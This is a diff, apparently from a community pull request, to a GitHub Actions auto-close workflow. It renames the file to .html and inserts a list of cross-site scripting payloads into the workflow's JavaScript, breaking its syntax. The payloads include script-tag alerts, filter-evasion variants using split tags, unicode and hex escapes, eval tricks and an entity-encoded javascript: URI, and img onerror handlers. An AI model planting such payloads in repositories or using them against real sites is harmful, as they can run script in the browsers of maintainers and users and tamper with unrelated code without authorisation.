community · sefatk · Feb 13, 2023 · sefatk · Feb 13, 2023
diff --git a/.github/workflows/auto-close-pr.yml → .github/workflows/auto-close-pr.html b/.github/workflows/auto-close-pr.yml → .github/workflows/auto-close-pr.html
@@ -46,10 +46,28 @@
               ...context.repo,
               issue_number: context.issue.number,
               body: body
-            });
+            });/ sefatkhan250 /Basic payload
+<script>alert('XSS')</script>
+<scr<script>ipt>alert('XSS')</scr<script>ipt>
+"><script>alert('XSS')</script>
+"><script>alert(String.fromCharCode(88,83,83))</script>
+<script>\u0061lert('22')</script>
+<script>eval('\x61lert(\'33\')')</script>
+<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
+<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">
+
+// Img payload
+<img src=x onerror=alert('XSS');>
+<img src=x onerror=alert('XSS')//
+<img src=x onerror=alert(String.fromCharCode(88,83,83));>
+<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
+<img src=x:alert(alt) onerror=eval(src) alt=xss>
+"><img src=x onerror=alert('XSS');>
+"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
+
 
             await github.rest.pulls.update({
               ...context.repo,
               pull_number: context.payload.pull_request.number,
               state: 'closed'
-            });
+            });